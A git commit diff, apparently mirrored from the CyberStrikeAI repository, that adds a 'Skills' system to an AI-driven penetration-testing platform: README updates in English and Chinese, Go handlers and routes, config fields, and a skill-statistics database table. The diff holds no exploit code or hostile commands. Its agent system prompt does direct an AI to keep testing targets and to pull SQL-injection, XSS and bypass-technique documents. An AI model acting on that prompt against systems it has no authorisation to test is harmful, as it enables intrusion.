mirror of
https://github.com/Ed1s0nZ/CyberStrikeAI.git
synced 2026-05-17 13:43:31 +02:00
Add files via upload
This commit is contained in:
@@ -46,6 +46,7 @@ CyberStrikeAI is an **AI-native security testing platform** built in Go. It inte
|
||||
- 🛡️ Vulnerability management with CRUD operations, severity tracking, status workflow, and statistics
|
||||
- 📋 Batch task management: create task queues, add multiple tasks, and execute them sequentially
|
||||
- 🎭 Role-based testing: predefined security testing roles (Penetration Testing, CTF, Web App Scanning, etc.) with custom prompts and tool restrictions
|
||||
- 🎯 Skills system: 20+ predefined security testing skills (SQL injection, XSS, API security, etc.) that can be attached to roles or called on-demand by AI agents
|
||||
|
||||
## Tool Overview
|
||||
|
||||
@@ -145,7 +146,8 @@ go build -o cyberstrike-ai cmd/server/main.go
|
||||
- **Predefined roles** – System includes 12+ predefined security testing roles (Penetration Testing, CTF, Web App Scanning, API Security Testing, Binary Analysis, Cloud Security Audit, etc.) in the `roles/` directory.
|
||||
- **Custom prompts** – Each role can define a `user_prompt` that prepends to user messages, guiding the AI to adopt specialized testing methodologies and focus areas.
|
||||
- **Tool restrictions** – Roles can specify a `tools` list to limit available tools, ensuring focused testing workflows (e.g., CTF role restricts to CTF-specific utilities).
|
||||
- **Easy role creation** – Create custom roles by adding YAML files to the `roles/` directory. Each role defines `name`, `description`, `user_prompt`, `icon`, `tools`, and `enabled` fields.
|
||||
- **Skills integration** – Roles can attach security testing skills that are automatically injected into system prompts.
|
||||
- **Easy role creation** – Create custom roles by adding YAML files to the `roles/` directory. Each role defines `name`, `description`, `user_prompt`, `icon`, `tools`, `skills`, and `enabled` fields.
|
||||
- **Web UI integration** – Select roles from a dropdown in the chat interface. Role selection affects both AI behavior and available tool suggestions.
|
||||
|
||||
**Creating a custom role (example):**
|
||||
@@ -159,10 +161,25 @@ go build -o cyberstrike-ai cmd/server/main.go
|
||||
- api-fuzzer
|
||||
- arjun
|
||||
- graphql-scanner
|
||||
skills:
|
||||
- api-security-testing
|
||||
- sql-injection-testing
|
||||
enabled: true
|
||||
```
|
||||
2. Restart the server or reload configuration; the role appears in the role selector dropdown.
|
||||
|
||||
### Skills System
|
||||
- **Predefined skills** – System includes 20+ predefined security testing skills (SQL injection, XSS, API security, cloud security, container security, etc.) in the `skills/` directory.
|
||||
- **Automatic injection** – When a role is selected, all skills attached to that role are automatically loaded and injected into the system prompt, providing AI with specialized knowledge and methodologies.
|
||||
- **On-demand access** – AI agents can also access skills on-demand using built-in tools (`list_skills`, `read_skill`), allowing dynamic skill retrieval during task execution.
|
||||
- **Structured format** – Each skill is a directory containing a `SKILL.md` file with detailed testing methods, tool usage, best practices, and examples. Skills support YAML front matter for metadata.
|
||||
- **Custom skills** – Create custom skills by adding directories to the `skills/` directory. Each skill directory should contain a `SKILL.md` file with the skill content.
|
||||
|
||||
**Creating a custom skill:**
|
||||
1. Create a directory in `skills/` (e.g., `skills/my-skill/`)
|
||||
2. Create a `SKILL.md` file in that directory with the skill content
|
||||
3. Attach the skill to a role by adding it to the role's `skills` field in the role YAML file
|
||||
|
||||
### Tool Orchestration & Extensions
|
||||
- **YAML recipes** in `tools/*.yaml` describe commands, arguments, prompts, and metadata.
|
||||
- **Directory hot-reload** – pointing `security.tools_dir` to a folder is usually enough; inline definitions in `config.yaml` remain supported for quick experiments.
|
||||
@@ -364,6 +381,7 @@ knowledge:
|
||||
similarity_threshold: 0.7 # Minimum similarity score (0-1)
|
||||
hybrid_weight: 0.7 # Weight for vector search (1.0 = pure vector, 0.0 = pure keyword)
|
||||
roles_dir: "roles" # Role configuration directory (relative to config file)
|
||||
skills_dir: "skills" # Skills directory (relative to config file)
|
||||
```
|
||||
|
||||
### Tool Definition Example (`tools/nmap.yaml`)
|
||||
@@ -415,6 +433,7 @@ CyberStrikeAI/
|
||||
├── web/ # Static SPA + templates
|
||||
├── tools/ # YAML tool recipes (100+ examples provided)
|
||||
├── roles/ # Role configurations (12+ predefined security testing roles)
|
||||
├── skills/ # Skills directory (20+ predefined security testing skills)
|
||||
├── img/ # Docs screenshots & diagrams
|
||||
├── config.yaml # Runtime configuration
|
||||
├── run.sh # Convenience launcher
|
||||
@@ -446,6 +465,7 @@ See [CHANGELOG.md](CHANGELOG.md) for detailed version history and all changes.
|
||||
|
||||
### Recent Highlights
|
||||
|
||||
- **2026-01-XX** – Skills system with 20+ predefined security testing skills
|
||||
- **2026-01-11** – Role-based testing with predefined security testing roles
|
||||
- **2026-01-08** – SSE transport mode support for external MCP servers
|
||||
- **2026-01-01** – Batch task management with queue-based execution
|
||||
|
||||
+21
-1
@@ -45,6 +45,7 @@ CyberStrikeAI 是一款 **AI 原生安全测试平台**,基于 Go 构建,集
|
||||
- 🛡️ 漏洞管理功能:完整的漏洞 CRUD 操作,支持严重程度分级、状态流转、按对话/严重程度/状态过滤,以及统计看板
|
||||
- 📋 批量任务管理:创建任务队列,批量添加任务,依次顺序执行,支持任务编辑与状态跟踪
|
||||
- 🎭 角色化测试:预设安全测试角色(渗透测试、CTF、Web 应用扫描等),支持自定义提示词和工具限制
|
||||
- 🎯 Skills 技能系统:20+ 预设安全测试技能(SQL 注入、XSS、API 安全等),可附加到角色或由 AI 按需调用
|
||||
|
||||
## 工具概览
|
||||
|
||||
@@ -144,7 +145,8 @@ go build -o cyberstrike-ai cmd/server/main.go
|
||||
- **预设角色**:系统内置 12+ 个预设的安全测试角色(渗透测试、CTF、Web 应用扫描、API 安全测试、二进制分析、云安全审计等),位于 `roles/` 目录。
|
||||
- **自定义提示词**:每个角色可定义 `user_prompt`,会在用户消息前自动添加,引导 AI 采用特定的测试方法和关注重点。
|
||||
- **工具限制**:角色可指定 `tools` 列表,限制可用工具,实现聚焦的测试流程(如 CTF 角色限制为 CTF 专用工具)。
|
||||
- **轻松创建角色**:通过在 `roles/` 目录添加 YAML 文件即可创建自定义角色。每个角色定义 `name`、`description`、`user_prompt`、`icon`、`tools`、`enabled` 字段。
|
||||
- **Skills 集成**:角色可附加安全测试技能,选择角色时自动注入到系统提示词中。
|
||||
- **轻松创建角色**:通过在 `roles/` 目录添加 YAML 文件即可创建自定义角色。每个角色定义 `name`、`description`、`user_prompt`、`icon`、`tools`、`skills`、`enabled` 字段。
|
||||
- **Web 界面集成**:在聊天界面通过下拉菜单选择角色。角色选择会影响 AI 行为和可用工具建议。
|
||||
|
||||
**创建自定义角色示例:**
|
||||
@@ -158,10 +160,25 @@ go build -o cyberstrike-ai cmd/server/main.go
|
||||
- api-fuzzer
|
||||
- arjun
|
||||
- graphql-scanner
|
||||
skills:
|
||||
- api-security-testing
|
||||
- sql-injection-testing
|
||||
enabled: true
|
||||
```
|
||||
2. 重启服务或重新加载配置,角色会出现在角色选择下拉菜单中。
|
||||
|
||||
### Skills 技能系统
|
||||
- **预设技能**:系统内置 20+ 个预设的安全测试技能(SQL 注入、XSS、API 安全、云安全、容器安全等),位于 `skills/` 目录。
|
||||
- **自动注入**:当选择某个角色时,该角色附加的所有技能会自动加载并注入到系统提示词中,为 AI 提供专业知识和测试方法。
|
||||
- **按需调用**:AI 智能体也可以通过内置工具(`list_skills`、`read_skill`)按需访问技能,允许在执行任务过程中动态获取相关技能。
|
||||
- **结构化格式**:每个技能是一个目录,包含一个 `SKILL.md` 文件,详细描述测试方法、工具使用、最佳实践和示例。技能支持 YAML front matter 格式用于元数据。
|
||||
- **自定义技能**:通过在 `skills/` 目录添加目录即可创建自定义技能。每个技能目录应包含一个 `SKILL.md` 文件。
|
||||
|
||||
**创建自定义技能:**
|
||||
1. 在 `skills/` 目录创建目录(如 `skills/my-skill/`)
|
||||
2. 在该目录下创建 `SKILL.md` 文件,编写技能内容
|
||||
3. 在角色的 YAML 文件中,通过添加 `skills` 字段将该技能附加到角色
|
||||
|
||||
### 工具编排与扩展
|
||||
- `tools/*.yaml` 定义命令、参数、提示词与元数据,可热加载。
|
||||
- `security.tools_dir` 指向目录即可批量启用;仍支持在主配置里内联定义。
|
||||
@@ -363,6 +380,7 @@ knowledge:
|
||||
similarity_threshold: 0.7 # 相似度阈值(0-1),低于此值的结果将被过滤
|
||||
hybrid_weight: 0.7 # 混合检索权重(0-1),向量检索的权重,1.0 表示纯向量检索,0.0 表示纯关键词检索
|
||||
roles_dir: "roles" # 角色配置文件目录(相对于配置文件所在目录)
|
||||
skills_dir: "skills" # Skills 目录(相对于配置文件所在目录)
|
||||
```
|
||||
|
||||
### 工具模版示例(`tools/nmap.yaml`)
|
||||
@@ -414,6 +432,7 @@ CyberStrikeAI/
|
||||
├── web/ # 前端静态资源与模板
|
||||
├── tools/ # YAML 工具目录(含 100+ 示例)
|
||||
├── roles/ # 角色配置文件目录(含 12+ 预设安全测试角色)
|
||||
├── skills/ # Skills 目录(含 20+ 预设安全测试技能)
|
||||
├── img/ # 文档配图
|
||||
├── config.yaml # 运行配置
|
||||
├── run.sh # 启动脚本
|
||||
@@ -445,6 +464,7 @@ CyberStrikeAI/
|
||||
|
||||
### 近期亮点
|
||||
|
||||
- **2026-01-XX** – 新增 Skills 技能系统,内置 20+ 预设安全测试技能
|
||||
- **2026-01-11** – 新增角色化测试功能,支持预设安全测试角色
|
||||
- **2026-01-08** – 新增 SSE 传输模式支持,外部 MCP 联邦支持三种模式
|
||||
- **2026-01-01** – 新增批量任务管理功能,支持队列式任务执行
|
||||
|
||||
+43
-4
@@ -303,16 +303,17 @@ type ProgressCallback func(eventType, message string, data interface{})
|
||||
|
||||
// AgentLoop 执行Agent循环
|
||||
func (a *Agent) AgentLoop(ctx context.Context, userInput string, historyMessages []ChatMessage) (*AgentLoopResult, error) {
|
||||
return a.AgentLoopWithProgress(ctx, userInput, historyMessages, "", nil, nil)
|
||||
return a.AgentLoopWithProgress(ctx, userInput, historyMessages, "", nil, nil, nil)
|
||||
}
|
||||
|
||||
// AgentLoopWithConversationID 执行Agent循环(带对话ID)
|
||||
func (a *Agent) AgentLoopWithConversationID(ctx context.Context, userInput string, historyMessages []ChatMessage, conversationID string) (*AgentLoopResult, error) {
|
||||
return a.AgentLoopWithProgress(ctx, userInput, historyMessages, conversationID, nil, nil)
|
||||
return a.AgentLoopWithProgress(ctx, userInput, historyMessages, conversationID, nil, nil, nil)
|
||||
}
|
||||
|
||||
// AgentLoopWithProgress 执行Agent循环(带进度回调和对话ID)
|
||||
func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, historyMessages []ChatMessage, conversationID string, callback ProgressCallback, roleTools []string) (*AgentLoopResult, error) {
|
||||
// roleSkills: 角色配置的skills列表(用于在系统提示词中提示AI,但不硬编码内容)
|
||||
func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, historyMessages []ChatMessage, conversationID string, callback ProgressCallback, roleTools []string, roleSkills []string) (*AgentLoopResult, error) {
|
||||
// 设置当前对话ID
|
||||
a.mu.Lock()
|
||||
a.currentConversationID = conversationID
|
||||
@@ -411,7 +412,45 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
|
||||
* low(低):影响较小,难以利用或影响范围有限
|
||||
* info(信息):安全配置问题、信息泄露但不直接可利用等
|
||||
- 确保漏洞证明(proof)包含足够的证据,如请求/响应、截图、命令输出等
|
||||
- 在记录漏洞后,继续测试以发现更多问题`
|
||||
- 在记录漏洞后,继续测试以发现更多问题
|
||||
|
||||
技能库(Skills):
|
||||
- 系统提供了技能库(Skills),包含各种安全测试的专业技能和方法论文档
|
||||
- 技能库与知识库的区别:
|
||||
* 知识库(Knowledge Base):用于检索分散的知识片段,适合快速查找特定信息
|
||||
* 技能库(Skills):包含完整的专业技能文档,适合深入学习某个领域的测试方法、工具使用、绕过技巧等
|
||||
- 当你需要特定领域的专业技能时,可以使用以下工具按需获取:
|
||||
* ` + builtin.ToolListSkills + `: 获取所有可用的skills列表,查看有哪些专业技能可用
|
||||
* ` + builtin.ToolReadSkill + `: 读取指定skill的详细内容,获取该领域的专业技能文档
|
||||
- 建议在执行相关任务前,先使用 ` + builtin.ToolListSkills + ` 查看可用skills,然后根据任务需要调用 ` + builtin.ToolReadSkill + ` 获取相关专业技能
|
||||
- 例如:如果需要测试SQL注入,可以先调用 ` + builtin.ToolListSkills + ` 查看是否有sql-injection相关的skill,然后调用 ` + builtin.ToolReadSkill + ` 读取该skill的内容
|
||||
- Skills内容包含完整的测试方法、工具使用、绕过技巧、最佳实践等专业技能文档,可以帮助你更专业地执行任务`
|
||||
|
||||
// 如果角色配置了skills,在系统提示词中提示AI(但不硬编码内容)
|
||||
if len(roleSkills) > 0 {
|
||||
var skillsHint strings.Builder
|
||||
skillsHint.WriteString("\n\n本角色推荐使用的Skills:\n")
|
||||
for i, skillName := range roleSkills {
|
||||
if i > 0 {
|
||||
skillsHint.WriteString("、")
|
||||
}
|
||||
skillsHint.WriteString("`")
|
||||
skillsHint.WriteString(skillName)
|
||||
skillsHint.WriteString("`")
|
||||
}
|
||||
skillsHint.WriteString("\n- 这些skills包含了与本角色相关的专业技能文档,建议在执行相关任务时使用 `")
|
||||
skillsHint.WriteString(builtin.ToolReadSkill)
|
||||
skillsHint.WriteString("` 工具读取这些skills的内容")
|
||||
skillsHint.WriteString("\n- 例如:`")
|
||||
skillsHint.WriteString(builtin.ToolReadSkill)
|
||||
skillsHint.WriteString("(skill_name=\"")
|
||||
skillsHint.WriteString(roleSkills[0])
|
||||
skillsHint.WriteString("\")` 可以读取第一个推荐skill的内容")
|
||||
skillsHint.WriteString("\n- 注意:这些skills的内容不会自动注入,需要你根据任务需要主动调用 `")
|
||||
skillsHint.WriteString(builtin.ToolReadSkill)
|
||||
skillsHint.WriteString("` 工具获取")
|
||||
systemPrompt += skillsHint.String()
|
||||
}
|
||||
|
||||
messages := []ChatMessage{
|
||||
{
|
||||
|
||||
+88
-46
@@ -19,6 +19,7 @@ import (
|
||||
"cyberstrike-ai/internal/mcp/builtin"
|
||||
"cyberstrike-ai/internal/openai"
|
||||
"cyberstrike-ai/internal/security"
|
||||
"cyberstrike-ai/internal/skills"
|
||||
"cyberstrike-ai/internal/storage"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
@@ -215,53 +216,53 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
|
||||
return
|
||||
}
|
||||
|
||||
if hasIndex {
|
||||
// 如果已有索引,只索引新添加或更新的项
|
||||
if len(itemsToIndex) > 0 {
|
||||
log.Logger.Info("检测到已有知识库索引,开始增量索引", zap.Int("count", len(itemsToIndex)))
|
||||
ctx := context.Background()
|
||||
consecutiveFailures := 0
|
||||
var firstFailureItemID string
|
||||
var firstFailureError error
|
||||
failedCount := 0
|
||||
|
||||
for _, itemID := range itemsToIndex {
|
||||
if err := knowledgeIndexer.IndexItem(ctx, itemID); err != nil {
|
||||
failedCount++
|
||||
consecutiveFailures++
|
||||
|
||||
if consecutiveFailures == 1 {
|
||||
firstFailureItemID = itemID
|
||||
firstFailureError = err
|
||||
log.Logger.Warn("索引知识项失败", zap.String("itemId", itemID), zap.Error(err))
|
||||
}
|
||||
|
||||
// 如果连续失败2次,立即停止增量索引
|
||||
if consecutiveFailures >= 2 {
|
||||
log.Logger.Error("连续索引失败次数过多,立即停止增量索引",
|
||||
zap.Int("consecutiveFailures", consecutiveFailures),
|
||||
zap.Int("totalItems", len(itemsToIndex)),
|
||||
zap.String("firstFailureItemId", firstFailureItemID),
|
||||
zap.Error(firstFailureError),
|
||||
)
|
||||
break
|
||||
}
|
||||
continue
|
||||
if hasIndex {
|
||||
// 如果已有索引,只索引新添加或更新的项
|
||||
if len(itemsToIndex) > 0 {
|
||||
log.Logger.Info("检测到已有知识库索引,开始增量索引", zap.Int("count", len(itemsToIndex)))
|
||||
ctx := context.Background()
|
||||
consecutiveFailures := 0
|
||||
var firstFailureItemID string
|
||||
var firstFailureError error
|
||||
failedCount := 0
|
||||
|
||||
for _, itemID := range itemsToIndex {
|
||||
if err := knowledgeIndexer.IndexItem(ctx, itemID); err != nil {
|
||||
failedCount++
|
||||
consecutiveFailures++
|
||||
|
||||
if consecutiveFailures == 1 {
|
||||
firstFailureItemID = itemID
|
||||
firstFailureError = err
|
||||
log.Logger.Warn("索引知识项失败", zap.String("itemId", itemID), zap.Error(err))
|
||||
}
|
||||
|
||||
// 成功时重置连续失败计数
|
||||
if consecutiveFailures > 0 {
|
||||
consecutiveFailures = 0
|
||||
firstFailureItemID = ""
|
||||
firstFailureError = nil
|
||||
|
||||
// 如果连续失败2次,立即停止增量索引
|
||||
if consecutiveFailures >= 2 {
|
||||
log.Logger.Error("连续索引失败次数过多,立即停止增量索引",
|
||||
zap.Int("consecutiveFailures", consecutiveFailures),
|
||||
zap.Int("totalItems", len(itemsToIndex)),
|
||||
zap.String("firstFailureItemId", firstFailureItemID),
|
||||
zap.Error(firstFailureError),
|
||||
)
|
||||
break
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
// 成功时重置连续失败计数
|
||||
if consecutiveFailures > 0 {
|
||||
consecutiveFailures = 0
|
||||
firstFailureItemID = ""
|
||||
firstFailureError = nil
|
||||
}
|
||||
log.Logger.Info("增量索引完成", zap.Int("totalItems", len(itemsToIndex)), zap.Int("failedCount", failedCount))
|
||||
} else {
|
||||
log.Logger.Info("检测到已有知识库索引,没有需要索引的新项或更新项")
|
||||
}
|
||||
return
|
||||
log.Logger.Info("增量索引完成", zap.Int("totalItems", len(itemsToIndex)), zap.Int("failedCount", failedCount))
|
||||
} else {
|
||||
log.Logger.Info("检测到已有知识库索引,没有需要索引的新项或更新项")
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// 只有在没有索引时才自动重建
|
||||
log.Logger.Info("未检测到知识库索引,开始自动构建索引")
|
||||
@@ -278,8 +279,30 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
|
||||
configPath = os.Args[1]
|
||||
}
|
||||
|
||||
// 初始化Skills管理器
|
||||
skillsDir := cfg.SkillsDir
|
||||
if skillsDir == "" {
|
||||
skillsDir = "skills" // 默认目录
|
||||
}
|
||||
// 如果是相对路径,相对于配置文件所在目录
|
||||
configDir := filepath.Dir(configPath)
|
||||
if !filepath.IsAbs(skillsDir) {
|
||||
skillsDir = filepath.Join(configDir, skillsDir)
|
||||
}
|
||||
skillsManager := skills.NewManager(skillsDir, log.Logger)
|
||||
log.Logger.Info("Skills管理器已初始化", zap.String("skillsDir", skillsDir))
|
||||
|
||||
// 注册Skills工具到MCP服务器(让AI可以按需调用,带数据库存储支持统计)
|
||||
// 创建一个适配器,将database.DB适配为SkillStatsStorage接口
|
||||
var skillStatsStorage skills.SkillStatsStorage
|
||||
if db != nil {
|
||||
skillStatsStorage = &skillStatsDBAdapter{db: db}
|
||||
}
|
||||
skills.RegisterSkillsToolWithStorage(mcpServer, skillsManager, skillStatsStorage, log.Logger)
|
||||
|
||||
// 创建处理器
|
||||
agentHandler := handler.NewAgentHandler(agent, db, cfg, log.Logger)
|
||||
agentHandler.SetSkillsManager(skillsManager) // 设置Skills管理器
|
||||
// 如果知识库已启用,设置知识库管理器到AgentHandler以便记录检索日志
|
||||
if knowledgeManager != nil {
|
||||
agentHandler.SetKnowledgeManager(knowledgeManager)
|
||||
@@ -294,6 +317,11 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
|
||||
configHandler := handler.NewConfigHandler(configPath, cfg, mcpServer, executor, agent, attackChainHandler, externalMCPMgr, log.Logger)
|
||||
externalMCPHandler := handler.NewExternalMCPHandler(externalMCPMgr, cfg, configPath, log.Logger)
|
||||
roleHandler := handler.NewRoleHandler(cfg, configPath, log.Logger)
|
||||
roleHandler.SetSkillsManager(skillsManager) // 设置Skills管理器到RoleHandler
|
||||
skillsHandler := handler.NewSkillsHandler(skillsManager, cfg, configPath, log.Logger)
|
||||
if db != nil {
|
||||
skillsHandler.SetDB(db) // 设置数据库连接以便获取调用统计
|
||||
}
|
||||
|
||||
// 创建 App 实例(部分字段稍后填充)
|
||||
app := &App{
|
||||
@@ -371,6 +399,7 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
|
||||
app, // 传递 App 实例以便动态获取 knowledgeHandler
|
||||
vulnerabilityHandler,
|
||||
roleHandler,
|
||||
skillsHandler,
|
||||
mcpServer,
|
||||
authManager,
|
||||
)
|
||||
@@ -432,6 +461,7 @@ func setupRoutes(
|
||||
app *App, // 传递 App 实例以便动态获取 knowledgeHandler
|
||||
vulnerabilityHandler *handler.VulnerabilityHandler,
|
||||
roleHandler *handler.RoleHandler,
|
||||
skillsHandler *handler.SkillsHandler,
|
||||
mcpServer *mcp.Server,
|
||||
authManager *security.AuthManager,
|
||||
) {
|
||||
@@ -660,10 +690,22 @@ func setupRoutes(
|
||||
// 角色管理
|
||||
protected.GET("/roles", roleHandler.GetRoles)
|
||||
protected.GET("/roles/:name", roleHandler.GetRole)
|
||||
protected.GET("/roles/skills/list", roleHandler.GetSkills)
|
||||
protected.POST("/roles", roleHandler.CreateRole)
|
||||
protected.PUT("/roles/:name", roleHandler.UpdateRole)
|
||||
protected.DELETE("/roles/:name", roleHandler.DeleteRole)
|
||||
|
||||
// Skills管理
|
||||
protected.GET("/skills", skillsHandler.GetSkills)
|
||||
protected.GET("/skills/stats", skillsHandler.GetSkillStats)
|
||||
protected.DELETE("/skills/stats", skillsHandler.ClearSkillStats)
|
||||
protected.GET("/skills/:name", skillsHandler.GetSkill)
|
||||
protected.GET("/skills/:name/bound-roles", skillsHandler.GetSkillBoundRoles)
|
||||
protected.POST("/skills", skillsHandler.CreateSkill)
|
||||
protected.PUT("/skills/:name", skillsHandler.UpdateSkill)
|
||||
protected.DELETE("/skills/:name", skillsHandler.DeleteSkill)
|
||||
protected.DELETE("/skills/:name/stats", skillsHandler.ClearSkillStatsByName)
|
||||
|
||||
// MCP端点
|
||||
protected.POST("/mcp", func(c *gin.Context) {
|
||||
mcpServer.HandleHTTP(c.Writer, c.Request)
|
||||
@@ -979,18 +1021,18 @@ func initializeKnowledge(
|
||||
var firstFailureItemID string
|
||||
var firstFailureError error
|
||||
failedCount := 0
|
||||
|
||||
|
||||
for _, itemID := range itemsToIndex {
|
||||
if err := knowledgeIndexer.IndexItem(ctx, itemID); err != nil {
|
||||
failedCount++
|
||||
consecutiveFailures++
|
||||
|
||||
|
||||
if consecutiveFailures == 1 {
|
||||
firstFailureItemID = itemID
|
||||
firstFailureError = err
|
||||
logger.Warn("索引知识项失败", zap.String("itemId", itemID), zap.Error(err))
|
||||
}
|
||||
|
||||
|
||||
// 如果连续失败2次,立即停止增量索引
|
||||
if consecutiveFailures >= 2 {
|
||||
logger.Error("连续索引失败次数过多,立即停止增量索引",
|
||||
@@ -1003,7 +1045,7 @@ func initializeKnowledge(
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
|
||||
// 成功时重置连续失败计数
|
||||
if consecutiveFailures > 0 {
|
||||
consecutiveFailures = 0
|
||||
|
||||
@@ -0,0 +1,40 @@
|
||||
package app
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/database"
|
||||
"cyberstrike-ai/internal/skills"
|
||||
)
|
||||
|
||||
// skillStatsDBAdapter 将database.DB适配为skills.SkillStatsStorage接口
|
||||
type skillStatsDBAdapter struct {
|
||||
db *database.DB
|
||||
}
|
||||
|
||||
// UpdateSkillStats 更新Skills统计信息
|
||||
func (a *skillStatsDBAdapter) UpdateSkillStats(skillName string, totalCalls, successCalls, failedCalls int, lastCallTime *time.Time) error {
|
||||
return a.db.UpdateSkillStats(skillName, totalCalls, successCalls, failedCalls, lastCallTime)
|
||||
}
|
||||
|
||||
// LoadSkillStats 加载所有Skills统计信息
|
||||
func (a *skillStatsDBAdapter) LoadSkillStats() (map[string]*skills.SkillStats, error) {
|
||||
dbStats, err := a.db.LoadSkillStats()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// 转换为skills.SkillStats格式
|
||||
result := make(map[string]*skills.SkillStats)
|
||||
for name, stat := range dbStats {
|
||||
result[name] = &skills.SkillStats{
|
||||
SkillName: stat.SkillName,
|
||||
TotalCalls: stat.TotalCalls,
|
||||
SuccessCalls: stat.SuccessCalls,
|
||||
FailedCalls: stat.FailedCalls,
|
||||
LastCallTime: stat.LastCallTime,
|
||||
}
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
@@ -25,6 +25,7 @@ type Config struct {
|
||||
Knowledge KnowledgeConfig `yaml:"knowledge,omitempty"`
|
||||
RolesDir string `yaml:"roles_dir,omitempty" json:"roles_dir,omitempty"` // 角色配置文件目录(新方式)
|
||||
Roles map[string]RoleConfig `yaml:"roles,omitempty" json:"roles,omitempty"` // 向后兼容:支持在主配置文件中定义角色
|
||||
SkillsDir string `yaml:"skills_dir,omitempty" json:"skills_dir,omitempty"` // Skills配置文件目录
|
||||
}
|
||||
|
||||
type ServerConfig struct {
|
||||
@@ -581,5 +582,6 @@ type RoleConfig struct {
|
||||
Icon string `yaml:"icon,omitempty" json:"icon,omitempty"` // 角色图标(可选)
|
||||
Tools []string `yaml:"tools,omitempty" json:"tools,omitempty"` // 关联的工具列表(toolKey格式,如 "toolName" 或 "mcpName::toolName")
|
||||
MCPs []string `yaml:"mcps,omitempty" json:"mcps,omitempty"` // 向后兼容:关联的MCP服务器列表(已废弃,使用tools替代)
|
||||
Skills []string `yaml:"skills,omitempty" json:"skills,omitempty"` // 关联的skills列表(skill名称列表,在执行任务前会读取这些skills的内容)
|
||||
Enabled bool `yaml:"enabled" json:"enabled"` // 是否启用
|
||||
}
|
||||
|
||||
@@ -104,6 +104,17 @@ func (db *DB) initTables() error {
|
||||
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
);`
|
||||
|
||||
// 创建Skills统计表
|
||||
createSkillStatsTable := `
|
||||
CREATE TABLE IF NOT EXISTS skill_stats (
|
||||
skill_name TEXT PRIMARY KEY,
|
||||
total_calls INTEGER NOT NULL DEFAULT 0,
|
||||
success_calls INTEGER NOT NULL DEFAULT 0,
|
||||
failed_calls INTEGER NOT NULL DEFAULT 0,
|
||||
last_call_time DATETIME,
|
||||
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
);`
|
||||
|
||||
// 创建攻击链节点表
|
||||
createAttackChainNodesTable := `
|
||||
CREATE TABLE IF NOT EXISTS attack_chain_nodes (
|
||||
@@ -264,6 +275,10 @@ func (db *DB) initTables() error {
|
||||
return fmt.Errorf("创建tool_stats表失败: %w", err)
|
||||
}
|
||||
|
||||
if _, err := db.Exec(createSkillStatsTable); err != nil {
|
||||
return fmt.Errorf("创建skill_stats表失败: %w", err)
|
||||
}
|
||||
|
||||
if _, err := db.Exec(createAttackChainNodesTable); err != nil {
|
||||
return fmt.Errorf("创建attack_chain_nodes表失败: %w", err)
|
||||
}
|
||||
|
||||
@@ -0,0 +1,142 @@
|
||||
package database
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"time"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// SkillStats Skills统计信息
|
||||
type SkillStats struct {
|
||||
SkillName string
|
||||
TotalCalls int
|
||||
SuccessCalls int
|
||||
FailedCalls int
|
||||
LastCallTime *time.Time
|
||||
}
|
||||
|
||||
// SaveSkillStats 保存Skills统计信息
|
||||
func (db *DB) SaveSkillStats(skillName string, stats *SkillStats) error {
|
||||
var lastCallTime sql.NullTime
|
||||
if stats.LastCallTime != nil {
|
||||
lastCallTime = sql.NullTime{Time: *stats.LastCallTime, Valid: true}
|
||||
}
|
||||
|
||||
query := `
|
||||
INSERT OR REPLACE INTO skill_stats
|
||||
(skill_name, total_calls, success_calls, failed_calls, last_call_time, updated_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?)
|
||||
`
|
||||
|
||||
_, err := db.Exec(query,
|
||||
skillName,
|
||||
stats.TotalCalls,
|
||||
stats.SuccessCalls,
|
||||
stats.FailedCalls,
|
||||
lastCallTime,
|
||||
time.Now(),
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
db.logger.Error("保存Skills统计信息失败", zap.Error(err), zap.String("skillName", skillName))
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// LoadSkillStats 加载所有Skills统计信息
|
||||
func (db *DB) LoadSkillStats() (map[string]*SkillStats, error) {
|
||||
query := `
|
||||
SELECT skill_name, total_calls, success_calls, failed_calls, last_call_time
|
||||
FROM skill_stats
|
||||
`
|
||||
|
||||
rows, err := db.Query(query)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
stats := make(map[string]*SkillStats)
|
||||
for rows.Next() {
|
||||
var stat SkillStats
|
||||
var lastCallTime sql.NullTime
|
||||
|
||||
err := rows.Scan(
|
||||
&stat.SkillName,
|
||||
&stat.TotalCalls,
|
||||
&stat.SuccessCalls,
|
||||
&stat.FailedCalls,
|
||||
&lastCallTime,
|
||||
)
|
||||
if err != nil {
|
||||
db.logger.Warn("加载Skills统计信息失败", zap.Error(err))
|
||||
continue
|
||||
}
|
||||
|
||||
if lastCallTime.Valid {
|
||||
stat.LastCallTime = &lastCallTime.Time
|
||||
}
|
||||
|
||||
stats[stat.SkillName] = &stat
|
||||
}
|
||||
|
||||
return stats, nil
|
||||
}
|
||||
|
||||
// UpdateSkillStats 更新Skills统计信息(累加模式)
|
||||
func (db *DB) UpdateSkillStats(skillName string, totalCalls, successCalls, failedCalls int, lastCallTime *time.Time) error {
|
||||
var lastCallTimeSQL sql.NullTime
|
||||
if lastCallTime != nil {
|
||||
lastCallTimeSQL = sql.NullTime{Time: *lastCallTime, Valid: true}
|
||||
}
|
||||
|
||||
query := `
|
||||
INSERT INTO skill_stats (skill_name, total_calls, success_calls, failed_calls, last_call_time, updated_at)
